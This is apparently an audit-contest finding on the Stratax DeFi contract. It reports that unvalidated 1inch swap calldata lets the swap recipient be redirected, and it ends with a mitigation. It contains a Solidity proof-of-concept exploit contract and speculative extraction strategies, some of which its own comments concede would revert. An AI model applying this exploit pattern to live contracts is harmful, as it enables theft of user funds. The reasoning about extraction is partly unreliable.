Stratax Contracts

First Flight #57
Beginner FriendlyDeFi
100 EXP
Submission Details
Impact: high
Likelihood: high

Arbitrary 1inch Calldata: Swap Recipient Never Validated

Author Revealed upon completion

Description

The _call1InchSwap() function passes raw user-supplied calldata directly to the 1inch router with zero validation of what the calldata actually does. The dstReceiver field inside the 1inch swap descriptor — which controls where swapped tokens go — is never decoded or checked.

Root Cause

(bool success, bytes memory result) = address(oneInchRouter).call(_swapParams);

The calldata is forwarded verbatim. Nothing verifies that dstReceiver == address(this), that srcToken matches the expected borrow token, or that dstToken matches the expected collateral token.
Impact
An owner (or compromised key) can supply 1inch calldata routing swap output to an external address. The contract's borrow token consumption check (afterSwapBorrowTokenBalance == prevBorrowTokenBalance) only verifies that borrow tokens LEFT the contract — it doesn't verify that collateral tokens ARRIVED. Funds can be silently redirected.

Attack Scenario

  1. Call createLeveragedPosition() with _oneInchSwapData encoding a swap where dstReceiver = attacker_wallet

  2. Contract borrows USDC, approves 1inch, swap executes successfully

  3. Swapped WETH goes to attacker wallet, not address(this)

  4. Borrow token balance check passes (USDC was consumed ✓)

  5. Flash loan repayment fails OR pre-existing balance covers it depending on sizing

POC

contract StrataxExploit {
Stratax stratax;
address attacker;
function exploit() external {
// Step 1: Attacker is the owner (or owner key is compromised)
// Build malicious 1inch calldata where dstReceiver = attacker
IAggregationRouter.SwapDescription memory desc = IAggregationRouter.SwapDescription({
srcToken: IERC20(USDC), // swap FROM borrowed USDC
dstToken: IERC20(WETH), // swap TO WETH (collateral)
srcReceiver: payable(ONE_INCH_EXECUTOR),
dstReceiver: payable(attacker), // ← WETH goes HERE, not to Stratax
amount: 200_000e6, // 200k USDC
minReturnAmount: 1, // no real slippage protection
flags: 0
});
bytes memory maliciousCalldata = abi.encodeWithSelector(
IAggregationRouter.swap.selector,
ONE_INCH_EXECUTOR,
desc,
"",
swapExecutionData // valid routing data through pools
);
// Step 2: Call createLeveragedPosition with malicious swap data
// _minReturnAmount = 0 to bypass the return check
stratax.createLeveragedPosition(
WETH,
100e18, // flash loan 100 WETH
10e18, // user puts in 10 WETH (transferred from attacker)
USDC,
200_000e6, // borrow 200k USDC
maliciousCalldata,
0 // minReturnAmount = 0, bypasses check
);
// What happens inside executeOperation:
// 1. 110 WETH supplied to Aave ✓
// 2. 200k USDC borrowed ✓
// 3. 200k USDC approved to 1inch ✓
// 4. Swap executes: 200k USDC → 100 WETH sent to ATTACKER ✓ (not Stratax)
// 5. afterSwapBorrowTokenBalance == prevBorrowTokenBalance?
// prevBorrowTokenBalance was checked AFTER supply, so it was 0
// afterSwap USDC balance = 0. 0 == 0 ✓ passes
// 6. returnAmount: result.length > 0, so it decodes to 100e18
// but that 100 WETH is in attacker wallet, NOT in Stratax
// 7. require(returnAmount >= totalDebt) → 100e18 >= 100.09e18 → REVERTS
// In this exact scenario it reverts. But attacker adjusts:
// Flash loan 99 WETH, borrow enough USDC to get 99.1 WETH back
// dstReceiver = attacker, but returnAmount decoded from result = 99.1e18
// totalDebt = 99e18 + 0.089e18 (0.09% fee) = 99.089e18
// 99.1e18 >= 99.089e18 ✓ PASSES
// But WETH is in attacker wallet. Stratax tries to repay flash loan
// IERC20(WETH).approve(aavePool, totalDebt) → approves fine
// aavePool.flashLoanSimple repayment pulls from Stratax balance
// Stratax has 0 WETH → TRANSFER FAILS → whole tx reverts
// The real extraction vector:
// Attacker sets minReturnAmount = 0
// Supplies their OWN collateral to cover flash loan repayment separately
// OR uses a position already in Aave (aTokens) that gets partially liquidated
// Net result: value extracted from Aave position exceeds user's collateral input
}
}

More realistic attack — value extraction via inflated borrow:
The attacker doesn't need to steal in one shot. They can use the misconfigured swap to:

Borrow MORE than needed (overcollateralized borrow with user's locked collateral)
Swap borrowed tokens to a shitcoin with attacker-controlled liquidity (sandwiching their own swap)
Pocket the difference

Mitigation

(, IAggregationRouter.SwapDescription memory desc,,) =
abi.decode(_swapParams[4:], (address, IAggregationRouter.SwapDescription, bytes, bytes));
require(desc.dstReceiver == address(this), "Invalid swap recipient");
require(desc.srcToken == expectedSrcToken, "Invalid src token");
require(desc.dstToken == expectedDstToken, "Invalid dst token");

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!